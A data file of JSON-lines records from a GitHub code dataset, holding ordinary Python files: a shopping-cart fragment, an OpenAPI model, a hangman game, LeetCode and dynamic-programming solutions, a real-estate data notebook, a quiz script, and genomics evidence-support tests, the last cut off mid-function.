self.session[settings.CART_SESSION_ID]\n self.save()","repo_name":"AnjaliRavenly/CoffeeTeaShop","sub_path":"myshop/cart/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"4220095426","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom openapi_server.models.base_model_ import Model\nfrom openapi_server import util\n\n\nclass ExpenseRequest(Model):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(self, amount=None, date=None, content=None): # noqa: E501\n \"\"\"ExpenseRequest - a model defined in OpenAPI\n\n :param amount: The amount of this ExpenseRequest. # noqa: E501\n :type amount: int\n :param date: The date of this ExpenseRequest. # noqa: E501\n :type date: date\n :param content: The content of this ExpenseRequest. # noqa: E501\n :type content: str\n \"\"\"\n self.openapi_types = {\n 'amount': int,\n 'date': date,\n 'content': str\n }\n\n self.attribute_map = {\n 'amount': 'amount',\n 'date': 'date',\n 'content': 'content'\n }\n\n self._amount = amount\n self._date = date\n self._content = content\n\n @classmethod\n def from_dict(cls, dikt) -> 'ExpenseRequest':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The ExpenseRequest of this ExpenseRequest. # noqa: E501\n :rtype: ExpenseRequest\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def amount(self):\n \"\"\"Gets the amount of this ExpenseRequest.\n\n 支出額 # noqa: E501\n\n :return: The amount of this ExpenseRequest.\n :rtype: int\n \"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, amount):\n \"\"\"Sets the amount of this ExpenseRequest.\n\n 支出額 # noqa: E501\n\n :param amount: The amount of this ExpenseRequest.\n :type amount: int\n \"\"\"\n if amount is None:\n raise ValueError(\"Invalid value for `amount`, must not be `None`\") # noqa: E501\n if amount is not None and amount < 0: # noqa: E501\n raise ValueError(\"Invalid value for `amount`, must be a value greater than or equal to `0`\") # noqa: E501\n\n self._amount = amount\n\n @property\n def date(self):\n \"\"\"Gets the date of this ExpenseRequest.\n\n 支出日付 # noqa: E501\n\n :return: The date of this ExpenseRequest.\n :rtype: date\n \"\"\"\n return self._date\n\n @date.setter\n def date(self, date):\n \"\"\"Sets the date of this ExpenseRequest.\n\n 支出日付 # noqa: E501\n\n :param date: The date of this ExpenseRequest.\n :type date: date\n \"\"\"\n if date is None:\n raise ValueError(\"Invalid value for `date`, must not be `None`\") # noqa: E501\n\n self._date = date\n\n @property\n def content(self):\n \"\"\"Gets the content of this ExpenseRequest.\n\n 支出内容 # noqa: E501\n\n :return: The content of this ExpenseRequest.\n :rtype: str\n \"\"\"\n return self._content\n\n @content.setter\n def content(self, content):\n \"\"\"Sets the content of this ExpenseRequest.\n\n 支出内容 # noqa: E501\n\n :param content: The content of this ExpenseRequest.\n :type content: str\n \"\"\"\n if content is None:\n raise ValueError(\"Invalid value for `content`, must not be `None`\") # noqa: E501\n\n self._content = content\n","repo_name":"kawakawaryuryu/money-tracker-api-docs","sub_path":"python-flask/openapi_server/models/expense_request.py","file_name":"expense_request.py","file_ext":"py","file_size_in_byte":3540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"16078325589","text":"def isWordGuessed(secretWord, lettersGuessed):\n '''\n secretWord: string, the word the user is guessing\n lettersGuessed: list, what letters have been guessed so far\n returns: boolean, True if all the letters of secretWord are in lettersGuessed;\n False otherwise\n '''\n x = 0\n y = str('')\n while x < len(secretWord):\n if secretWord[x] in lettersGuessed:\n y+= secretWord[x]\n x+= 1\n else:\n break\n if len(y) != len(secretWord):\n return False\n elif len(y) == len(secretWord):\n return True\n\n\ndef getGuessedWord(secretWord, lettersGuessed):\n '''\n secretWord: string, the word the user is guessing\n lettersGuessed: list, what letters have been guessed so far\n returns: string, comprised of letters and underscores that represents\n what letters in secretWord have been guessed so far.\n '''\n x = 0\n y = str('')\n for x in range(0,len(secretWord)):\n if secretWord[x] in lettersGuessed:\n y+= secretWord[x]\n else:\n y+= str('_ ')\n x+= 1\n return str(y)\n\n\ndef getAvailableLetters(lettersGuessed):\n '''\n lettersGuessed: list, what letters have been guessed so far\n returns: string, comprised of letters that represents what letters have not\n yet been guessed.\n '''\n y = 0\n import string\n x = string.ascii_lowercase\n lettersGuessed.sort()\n z = x\n if lettersGuessed == []:\n return x\n for y in range(0,len(lettersGuessed)):\n if lettersGuessed[y] in x:\n z = z.replace(x[x.find(lettersGuessed[y])],str(''))\n if lettersGuessed[-1] not in z:\n return z\n\n\n\ndef hangman(secretWord):\n '''\n secretWord: string, the secret word to guess.\n\n Starts up an interactive game of Hangman.\n\n * At the start of the game, let the user know how many \n letters the secretWord contains.\n\n * Ask the user to supply one guess (i.e. letter) per round.\n\n * The user should receive feedback immediately after each guess \n about whether their guess appears in the computers word.\n\n * After each round, you should also display to the user the \n partially guessed word so far, as well as letters that the \n user has not yet guessed.\n\n Follows the other limitations detailed in the problem write-up.\n '''\n print('Welcome to the game, Hangman!')\n print('I am thinking of a word ' + str(len(secretWord)) + ' letters long.')\n numguesses = 8\n lettersGuessed = []\n while numguesses > 0:\n print('_________________')\n print('You have ') + str(numguesses) + str(' guesses left.')\n print('Available letters: ') + getAvailableLetters(lettersGuessed)\n g = raw_input('Please guess a letter: ')\n gx = list(g.lower())\n gy = secretWord.count(gx[0])\n if gx[0] in lettersGuessed:\n print(\"Oops! You've already guessed that letter: \") + getGuessedWord(secretWord, lettersGuessed)\n elif gx[0] in secretWord:\n lettersGuessed+= gx*gy\n print('Good guess: ') + getGuessedWord(secretWord, lettersGuessed)\n elif gx[0] not in secretWord:\n lettersGuessed+= gx\n numguesses-= 1\n print('Oops! That letter is not in my word: ') + getGuessedWord(secretWord, lettersGuessed)\n if isWordGuessed(secretWord, lettersGuessed) is True:\n print('_________________')\n return str('Congratulations, you won!')\n print('_________________')\n return str('Sorry, you ran out of guesses. The word was ') + str(secretWord)\n","repo_name":"zkourouma/EDX_six_hundred_x","sub_path":"hangman/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28375536935","text":"class UnionFind:\n def __init__(self, n: int):\n self.parent = list(range(n))\n self.size = [1] * n\n \n def find(self, x):\n if x != self.parent[x]:\n self.parent[x] = self.find(self.parent[x])\n return self.parent[x]\n \n def union(self, x, y):\n rootX, rootY = self.find(x), self.find(y)\n if rootX == rootY:\n return\n if self.size[rootX] < self.size[rootY]:\n self.parent[rootX] = rootY\n self.size[rootY] += self.size[rootX]\n else:\n self.parent[rootY] = rootX\n self.size[rootX] += self.size[rootY]\n \n \nclass Solution:\n def minMalwareSpread(self, graph: List[List[int]], initial: List[int]) -> int:\n n = len(graph)\n uf = UnionFind(n)\n clean = list(set(range(n)) - set(initial))\n infectNode = defaultdict(set)\n infectedCount = Counter()\n maxCount, ans = 0, min(initial)\n \n for u, v in itertools.combinations(clean, 2):\n if graph[u][v]:\n uf.union(u, v)\n \n for u in initial:\n for v in clean:\n if graph[u][v]:\n infectNode[u].add(uf.find(v))\n for i in infectNode[u]:\n infectedCount[i] += 1\n \n for i, nodes in infectNode.items():\n count = 0\n for node in nodes:\n if infectedCount[node] == 1:\n count += uf.size[node]\n if count > maxCount or (count == maxCount and i < ans):\n maxCount = count\n ans = i\n return ans\n \n ","repo_name":"dreamjean/LeetCode-JavaScript","sub_path":"0928-minimize-malware-spread-ii/0928-minimize-malware-spread-ii.py","file_name":"0928-minimize-malware-spread-ii.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"184737569","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport __classic_import # noqa\nimport market.media_adv.incut_search.mt.env as env\n\n\nclass T(env.MediaAdvIncutSearchSuite):\n\n @classmethod\n def setUpClass(cls):\n \"\"\"\n переопределенный метод для дополнительного вызова настроек\n \"\"\"\n cls.settings.access_using = True\n super(T, cls).setUpClass()\n\n def test_json(self):\n response = self.media_adv_incut_search.request_json('hello?name=shiny user')\n self.assertFragmentIn(response, {\n \"greetings\": \"Hello, shiny user!\"\n })\n\n def test_text(self):\n response = self.media_adv_incut_search.request_text('hello?name=shiny user&format=text')\n self.assertFragmentIn(response, \"Hello, shiny user!\")\n\n\nif __name__ == '__main__':\n env.main()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/GENERAL/test_hello (4).py","file_name":"test_hello (4).py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10367197349","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd \nimport numpy as np\nimport matplotlib\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom matplotlib import pyplot as plt\nimport bs4 as bs\n\n\n# In[2]:\n\n\nimport requests\n#Analyzing the data and keeping whats necessary for us to prdict prices\n\n\n# In[3]:\n\n\ndf1 = pd.read_csv(\"blr_real_estate_prices.csv\")\n\n\n# In[4]:\n\n\ndf1\n\n\n# In[5]:\n\n\ndf1.shape\n\n\n# \n\n# In[6]:\n\n\ndf1.head()\n\n\n# In[7]:\n\n\ndf2= df1.drop([\"area_type\",\"availability\",\"society\",\"balcony\"],axis=\"columns\")\n\n\n# In[8]:\n\n\ndf2\n\n\n# In[9]:\n\n\ndf2.head()\n\n\n# In[10]:\n\n\ndf2.isnull()\n\n\n# In[11]:\n\n\ndf2.isnull().sum()\n\n\n# In[12]:\n\n\ndf3=df2.dropna()\ndf3.isnull().sum()\ndf3.head()\n\n\n# \n\n# In[13]:\n\n\ndf3[\"size\"].unique()\n\n\n# In[14]:\n\n\ndf3[\"BHK\"]=df3[\"size\"].apply(lambda x: int(x.split(' ')[0]))\n\n\n# In[15]:\n\n\ndf3\n\n\n# In[16]:\n\n\ndf3.drop([\"size\"],axis=\"columns\")\n\n\n# \n\n# In[17]:\n\n\ndf3[\"BHK\"].unique()\n\n\n# In[18]:\n\n\ndf3[df3.BHK>20]\n#DATA CLEANING\n\n\n# In[19]:\n\n\ndf3[\"total_sqft\"].unique()\n\n\n# In[20]:\n\n\ndef is_float(x):\n try:\n float(x)\n except:\n return False\n return True\n\n\n# In[21]:\n\n\ndf3[~df3[\"total_sqft\"].apply(is_float)].head(10)\n\n\n# In[22]:\n\n\ndef sqft_to_num(x):\n tokens= x.split('-')\n if len(tokens)==2:\n return (float(tokens[0])+float(tokens[1]))/2\n try:\n return float(x)\n except:\n return None \n\n\n# \n\n# In[ ]:\n\n\n\n\n\n# In[23]:\n\n\nsqft_to_num('131-142')\n\n\n# \n\n# In[24]:\n\n\ndf4=df3.copy()\n\n\n# In[25]:\n\n\ndf4 [\"total_sqft\"]=df4[\"total_sqft\"].apply(sqft_to_num)\n\n\n# In[26]:\n\n\ndf4.head()\n\n\n# In[27]:\n\n\ndf4[\"total_sqft\"].unique()\n\n\n# In[28]:\n\n\ndf4[\"Price _per_sqft\"]=df4[\"price\"]*100/df4[\"total_sqft\"]\n\n\n# In[29]:\n\n\ndf4\n\n\n# In[30]:\n\n\ndf5=df4.copy()\n\n\n# In[31]:\n\n\ndf5[\"location\"].unique()\n\n\n# In[32]:\n\n\nlen(df5[\"location\"].unique())\n\n\n# In[33]:\n\n\nlocation_stats=df5.groupby(\"location\")[\"location\"].agg(\"count\").sort_values(ascending=False)\n\n\n# In[34]:\n\n\nlocation_stats\n\n\n# In[35]:\n\n\nlen(location_stats[location_stats<10])\n \n\n\n# In[36]:\n\n\nlocation_less_than_10=location_stats[location_stats<=10]\n\n\n# In[37]:\n\n\ndef compact(x):\n if x in location_less_than_10:\n x=\"other\"\n return x\n \n\n\n# In[38]:\n\n\nlocation_less_than_10\n\n\n# In[39]:\n\n\ndef compact(x):\n if x in location_less_than_10:\n x=\"other\"\n return x \n\n\n# \n\n# In[40]:\n\n\ncompact(\"Kanakapura Rod\")\n\n\n# In[41]:\n\n\ndf6=df5.copy()\n\n\n# In[42]:\n\n\ndf6[\"location\"]=df6[\"location\"].apply(compact)\n\n\n# In[43]:\n\n\ndf6.head(20)\n\n\n# In[44]:\n\n\n#OUTLIER REMOVAL\ndf7=df6.drop([\"size\"],axis=\"columns\")\n\n\n# In[45]:\n\n\ndf7\n\n\n# In[46]:\n\n\ndf7[df7[\"total_sqft\"]/df7[\"BHK\"]<300].head()\n\n\n# In[47]:\n\n\ndf8=df7[df7[\"total_sqft\"]/df7[\"BHK\"]>300]\n\n\n# In[48]:\n\n\nlen(df8)\n\n\n# In[49]:\n\n\ndf8[\"Price _per_sqft\"].describe()\n\n\n# In[50]:\n\n\n#remove outliers, prices per location should lie bertween m+st and m-st\ndef remove_pps_outlier(sub_df):\n m=np.mean(sub_df[\"Price _per_sqft\"])\n st=np.std(sub_df[\"Price _per_sqft\"])\n new_df=sub_df[(sub_df[\"Price _per_sqft\"] >= (m-st)) & (sub_df[\"Price _per_sqft\"] <= (m+st)) ]\n return new_df\n \n \n\n\n# In[51]:\n\n\ndf9=pd.DataFrame()\ncount=0\nfor x,y in df8.groupby(\"location\"):\n #temp=remove_pps_outlier(y)\n #f9.append(temp)\n temp=remove_pps_outlier(y)\n df9=pd.concat([df9,temp], ignore_index=True)\n\n \n \n \n \n \n \n \n\n \n \n \n\n\n# In[52]:\n\n\ndf9\n\n\n# In[53]:\n\n\ndef plot(df,Location):\n bhk2=df[(df[\"location\"]==Location) & (df[\"BHK\"]==2)]\n bhk3=df[(df[\"location\"]==Location) & (df[\"BHK\"]==3)]\n plt.scatter(bhk2.total_sqft,bhk2[\"Price _per_sqft\"], label=\"2 BHK\")\n plt.scatter(bhk3.total_sqft,bhk3[\"Price _per_sqft\"], label=\"3 bhk\")\n plt.legend()\n \n\n\n# In[54]:\n\n\nplot(df9,\"7th Phase JP Nagar\")\n\n\n# In[55]:\n\n\nplot(df9,\"Rajaji Nagar\")\n\n\n# In[57]:\n\n\ndf10=df7.head(70)\n \n\n\n# In[58]:\n\n\ndf10\n\n\n# In[59]:\n\n\nblr_data = df10.to_csv('blr.csv', index = True)\nprint('\\nCSV String:\\n', blr_data)\n\n\n# In[65]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Generate x values from -10 to 10\ny = np.linspace(1, 6, 100)\n# Calculate y values using the equation y = 0.97x + 2.87\nx = 2.30*y - 2.98\n\n# Plot the line\nplt.scatter(x, y, label='x = 2.30y - 2.98')\n\n# Add labels and a legend\nplt.xlabel('x')\nplt.ylabel('y')\nplt.legend()\n\n# Display the plot\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Dhruvv88/Real_Estate_Price_Prediction","sub_path":"real_estate_price_prediction.py","file_name":"real_estate_price_prediction.py","file_ext":"py","file_size_in_byte":4283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"22533680079","text":"n = int(input())\nd = [0] * 1000001\nd[1] = 1\nd[2] = 2\nfor i in range(3, n+1):\n d[i] = (d[i-1] + d[i-2]) % 15746\n\nprint(d[n])\n\n# 동적 프로그래밍은 점화식을 잘 짜는 것이 중요\n# 단순 수치가 피보나치 수열인 것보다는 n을 형성하는 방법의 가지수(방법)에 대한 고찰이 필요하다.\n# 해당문제에서는 타일을 왼쪽부터 오른쪽으로 이어붙인다고 가정했을때, i-1인경우에는 뒤에 1만 올수있고,\n# i-2인경우에 00타일만이 올 수있다.\n# 따라서 길이가 i인 수열을 형성하는 방법은 두가지뿐이다.\n# d[i] = d[i-1]+d[i-2]","repo_name":"Gi-Youn-Oh/jungle-week04","sub_path":"Giyoun/다이나믹프로그래밍/2_1904타일01.py","file_name":"2_1904타일01.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7710569489","text":"while 1:\n right_answers = 0\n answers_count = 5\n\n print(\"Вы запустили викторину 'Актеры из Матрицы'!\")\n print(\"Викторина состоит из 5 вопросов. Вам необходимо будет угодать год рождения актера из фильма\")\n print(\"Итак, приступим!\")\n\n\n #1-й вопрос\n print(\"1-й вопрос!\")\n kianu = int(input(\"Введите дату рождения Киану Ривза: \"))\n #Верный ответ для Киану: 1964\n\n #2-й вопрос\n print(\"2-й вопрос!\")\n carrie = int(input(\"Введите дату рождения Кэрри-Энн Мосс: \"))\n #Верный ответ для Кэрри-Энн Мосс 1967\n\n #3-й вопрос\n print(\"3-й вопрос!\")\n laurence = int(input(\"Введите дату рождения Лоренса Фишбёрна: \"))\n #Верный ответ для Лоренса Фишбёрна 1961\n\n #4-й вопрос\n print(\"4-й вопрос!\")\n hugo = int(input(\"Введите дату рождения Хьюго Уивинга: \"))\n #Верный ответ для Хьюго Уивинга 1960\n\n #5-й вопрос\n print(\"5-й вопрос, последний!\")\n gloria = int(input(\"Введите дату рождения Глории Фостер: \"))\n #Верный ответ для Глории Фостер 1933\n\n print(\"Считаю баллы...\")\n print(\"_________________________________\")\n if kianu == 1964:\n right_answers += 1\n\n if carrie == 1967:\n right_answers += 1\n\n if laurence == 1961:\n right_answers += 1\n\n if hugo == 1960:\n right_answers += 1\n\n if gloria == 1933:\n right_answers += 1\n\n print(\"Вы ответили на\", answers_count, \"вопросов!\")\n print(\"Из них верно вы ответили на\", right_answers, \"вопросов!\")\n print(\"И ошиблись в\", answers_count - right_answers, \"вопросах!\")\n print(\"Процент правильных ответов:\", right_answers * 100 / answers_count, \"%\")\n print(\"Процент неправильных ответов:\", 100 - right_answers * 100 / answers_count, \"%\")\n\n replay = input(\"Хотите попробовать еще раз? y/n: \")\n if replay == \"n\":\n break\n elif replay == \"y\":\n continue","repo_name":"idrozhzh/PyHW2","sub_path":"victory.py","file_name":"victory.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18341449577","text":"import sys\nimport os\nif __name__ == '__main__':\n rootDir = \"../../..\"\n sys.path = [os.path.join(rootDir, \"lib\"),\n os.path.join(rootDir, \"extern/pycbio/lib\")] + sys.path\nimport unittest\nfrom pycbio.sys.testCaseBase import TestCaseBase\nfrom pycbio.hgdata.psl import Psl\nfrom gencode_icedb.general.genome import GenomeReader\nfrom gencode_icedb.general.ucscGencodeSource import UcscGencodeReader\nfrom gencode_icedb.general.geneAnnot import geneAnnotGroup\nfrom gencode_icedb.general.evidFeatures import EvidencePslFactory\nfrom gencode_icedb.tsl.evidenceDataDb import evidenceAlignsReaderFactory\nfrom gencode_icedb.tsl.supportDefs import EvidenceType, EvidenceSupport\nfrom gencode_icedb.tsl.supportEval import tightExonPolymorphicSizeLimit, tightExonPolymorphicFactionLimit, EvidenceQualityEval, MegSupportEvaluator, FullLengthSupportEvaluator\nfrom gencode_icedb.tsl.supportEvalDb import SupportEvidEvalResult\n\n\ngenbankUuids = {\n EvidenceType.RNA: \"02c995e3-372c-4cde-b216-5d3376c51988\",\n EvidenceType.EST: \"fcfc5121-7e07-42f6-93a2-331a513eeb2c\",\n}\n\n\nclass EvidCompareTest(TestCaseBase):\n \"\"\"low-level comparison tests\"\"\"\n UCSC_DB = \"hg38\"\n EVIDENCE_DB_DIR = \"output/db/evidDb\"\n GENCODE_DB = \"output/db/gencode.db\"\n\n @classmethod\n def setUpClass(cls):\n cls.genomeReader = GenomeReader.getFromUcscDbName(cls.UCSC_DB)\n cls.gencodeReader = UcscGencodeReader(cls.GENCODE_DB, cls.genomeReader)\n cls.evidenceFactory = EvidencePslFactory(cls.genomeReader)\n cls.qualEval = EvidenceQualityEval(tightExonPolymorphicSizeLimit, tightExonPolymorphicFactionLimit)\n cls.evidenceReaders = {}\n cls.evaluators = {}\n for evidType in (EvidenceType.RNA, EvidenceType.EST):\n evidSetUuid = genbankUuids[evidType]\n cls.evidenceReaders[evidType] = evidenceAlignsReaderFactory(evidSetUuid, os.path.join(cls.EVIDENCE_DB_DIR, \"GenBank-\" + str(evidType) + \".psl.gz\"), cls.genomeReader)\n for allowExtension in (True, False):\n cls.evaluators[(evidType, allowExtension)] = MegSupportEvaluator(evidSetUuid, cls.qualEval, allowExtension=allowExtension)\n\n @classmethod\n def tearDownClass(cls):\n cls.genomeReader.close()\n cls.gencodeReader.close()\n for rdr in cls.evidenceReaders.values():\n rdr.close()\n\n @classmethod\n def _getEvaluator(cls, evidType, allowExtension):\n return cls.evaluators[(evidType, allowExtension)]\n\n def _getAnnot(self, transId):\n annots = self.gencodeReader.getByTranscriptIds(transId)\n if len(annots) == 0:\n raise Exception(\"annotation {} not found\".format(transId))\n return annots[0]\n\n def _pslToTrans(self, psl):\n return self.evidenceFactory.fromPsl(psl)\n\n def _evalAnnotTransEvid(self, annotTrans, evidType, evidNames=None, allowExtension=False):\n \"low-level testing of specific cases\"\n evaluator = self._getEvaluator(evidType, allowExtension)\n evidReader = self.evidenceReaders[evidType]\n try:\n evidReader.setNameSubset(evidNames) # could be None\n evidTranses = evidReader.genOverlapping(annotTrans.chrom, annotTrans.transcriptionStrand)\n for evidTrans in evidTranses:\n yield evaluator.compare(annotTrans, evidTrans)\n finally:\n # must finished reading for resetting, as this is a generator\n evidReader.setNameSubset(None)\n\n def _evalTest(self, geneAnnots, noDiff=False):\n \"Support evaluation testing with TSV\"\n outSupportTsv = self.getOutputFile(\".support.tsv\")\n outDetailsTsv = self.getOutputFile(\".details.tsv\")\n evaluatorRna = FullLengthSupportEvaluator(self.evidenceReaders[EvidenceType.RNA], self.qualEval)\n evaluatorEst = FullLengthSupportEvaluator(self.evidenceReaders[EvidenceType.EST], self.qualEval)\n with open(outSupportTsv, 'w') as evalTsvFh, open(outDetailsTsv, 'w') as detailsTsvFh:\n evaluatorRna.writeTsvHeaders(evalTsvFh, detailsTsvFh)\n for geneAnnot in geneAnnots:\n evaluatorRna.evaluateGeneTranscripts(geneAnnot, evalTsvFh, detailsTsvFh)\n evaluatorEst.evaluateGeneTranscripts(geneAnnot, evalTsvFh, detailsTsvFh)\n if not noDiff:\n self.diffFiles(self.getExpectedFile(\".support.tsv\"), outSupportTsv)\n self.diffFiles(self.getExpectedFile(\".details.tsv\"), outDetailsTsv)\n\n def _evalGeneTest(self, geneId):\n transAnnots = self.gencodeReader.getByGeneId(geneId)\n if len(transAnnots) == 0:\n raise Exception(\"no transcripts found for {}\".format(geneId))\n self._evalTest(geneAnnotGroup(transAnnots))\n\n def _evalTransTest(self, transId, noDiff=False):\n transAnnots = self.gencodeReader.getByTranscriptId(transId)\n if len(transAnnots) == 0:\n raise Exception(\"no transcripts found for {}\".format(transId))\n self._evalTest(geneAnnotGroup(transAnnots), noDiff)\n\n def testGAB4(self):\n self._evalGeneTest(\"ENSG00000215568.8\")\n\n def testBCR(self):\n self._evalGeneTest(\"ENSG00000186716.20\")\n\n def testIL17RA(self):\n self._evalGeneTest(\"ENSG00000177663.13\")\n\n def testSHOX(self):\n # PAR gene\n self._evalGeneTest(\"ENSG00000185960.14\")\n\n def testExtendWithTwoExonsOverInitial(self):\n # EST AA227241.1 has two 5' exons overlapping 5' exon, caused failure with allowExtension\n annotName = \"ENST00000489867.2\"\n evidName = \"AA227241.1\"\n results = tuple(self._evalAnnotTransEvid(self._getAnnot(annotName), EvidenceType.EST,\n evidNames=evidName, allowExtension=True))\n self.assertEqual((SupportEvidEvalResult('ENST00000489867.2', genbankUuids[EvidenceType.EST], 'AA227241.1', EvidenceSupport.feat_count_mismatch),),\n results)\n\n def _rawPslCmpr(self, annotTrans, evidRawPsl, allowExtension):\n evidTrans = self._pslToTrans(Psl.fromRow(evidRawPsl))\n evaluator = self._getEvaluator(EvidenceType.EST, allowExtension)\n return evaluator.compare(annotTrans, evidTrans)\n\n def testExact(self):\n # test allowExtension with fake psl that exactly matches\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"651\", \"0\", \"0\", \"0\", \"0\", \"0\", \"3\", \"14865\", \"+\", \"ENST00000477874.1_aln\", \"651\", \"0\", \"651\", \"chr22\", \"50818468\", \"17084953\", \"17100469\", \"4\", \"276,147,113,115,\", \"0,276,423,536,\", \"17084953,17097796,17098774,17100354,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.good)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.good)\n\n def testExtend5(self):\n # test allowExtension with fake psl on extended on 5 side\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"751\", \"0\", \"0\", \"0\", \"0\", \"0\", \"4\", \"15218\", \"+\", \"ENST00000477874.1_aln\", \"751\", \"0\", \"751\", \"chr22\", \"50818468\", \"17084500\", \"17100469\", \"5\", \"100,276,147,113,115,\", \"0,100,376,523,636,\", \"17084500,17084953,17097796,17098774,17100354,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_count_mismatch)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.extends_exons)\n\n def testExtend5Inexact(self):\n # test allowExtension with fake psl on extended on 5 side and 5'\n # annotated exon being shorter than evidence, which is not allowed\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"704\", \"0\", \"0\", \"0\", \"0\", \"0\", \"4\", \"15265\", \"+\", \"ENST00000477874.1_aln\", \"704\", \"0\", \"704\", \"chr22\", \"50818468\", \"17084500\", \"17100469\", \"5\", \"100,229,147,113,115,\", \"0,100,329,476,589,\", \"17084500,17085000,17097796,17098774,17100354,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_count_mismatch)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_mismatch)\n\n def testExtend3(self):\n # test allowExtension with fake psl on extended on 3' side\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"741\", \"0\", \"0\", \"0\", \"0\", \"0\", \"4\", \"14896\", \"+\", \"ENST00000477874.1_aln\", \"741\", \"0\", \"741\", \"chr22\", \"50818468\", \"17084953\", \"17100590\", \"5\", \"276,147,113,115,90,\", \"0,276,423,536,651,\", \"17084953,17097796,17098774,17100354,17100500,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_count_mismatch)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.extends_exons)\n\n def testExtend3Inexact(self):\n # test allowExtension with fake psl on extended on 3' side\n # and 3' annotated exon being shorter than evidence, which is\n # not allowed\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"682\", \"0\", \"0\", \"0\", \"0\", \"0\", \"4\", \"15165\", \"+\", \"ENST00000477874.1_aln\", \"682\", \"0\", \"682\", \"chr22\", \"50818468\", \"17084953\", \"17100800\", \"5\", \"276,147,113,46,100,\", \"0,276,423,536,582,\", \"17084953,17097796,17098774,17100354,17100700,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_count_mismatch)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_mismatch)\n\n def testExtend3Regression1(self):\n # The evidence has an additional 5' exon. The second to last annotation exon\n # mostly a single exon of BC071657.1, ending differently by one base.\n # This is followed by an annotations exon that is in an intron of the evidence.\n # This was incorrectly called as an extension. This is with the Ensembl\n # alignment, UCSC aligned differently.\n # annotation evidence\n # ... 11012670-11012743 5' extension\n # 11013715-11013965 11013715-11013965\n # 11016843-11017007 11016843-11017007\n # 11018732-11018873 11018732-11018873\n # 11020428-11020599 11020428-11020599\n # 11022123-11022241 11022123-11024042 different end\n # 11023192-11024183 ... in intron\n # ... 11034700-11034727\n # ... 11122510-11122529\n annotTrans = self._getAnnot(\"ENST00000315091.7\")\n evidRawPsl = [\"2763\", \"0\", \"0\", \"0\", \"0\", \"0\", \"8\", \"107096\", \"+\", \"BC071657.1\", \"2833\", \"0\", \"2763\", \"chr1\", \"248956422\", \"11012670\", \"11122529\", \"9\", \"73,250,164,141,171,1919,17,9,19,\", \"0,73,323,487,628,799,2718,2735,2744,\", \"11012670,11013715,11016843,11018732,11020428,11022123,11034700,11034718,11122510,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_mismatch)\n\n def testEst3Minus(self):\n annotTrans = self._getAnnot(\"ENST00000191063.8\")\n evidRawPsl = [\"857\", \"11\", \"0\", \"8\", \"3\", \"17\", \"8\", \"10236\", \"--\", \"AL558145.3\", \"1038\", \"51\", \"944\", \"chr10\", \"133797422\", \"5878172\", \"5889284\", \"11\", \"5,12,31,114,80,221,43,109,162,87,12,\", \"94,101,113,145,259,339,560,603,712,874,975,\", \"127908138,127908143,127908156,127908187,127908302,127909355,127911657,127913345,127914255,127919135,127919238,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n 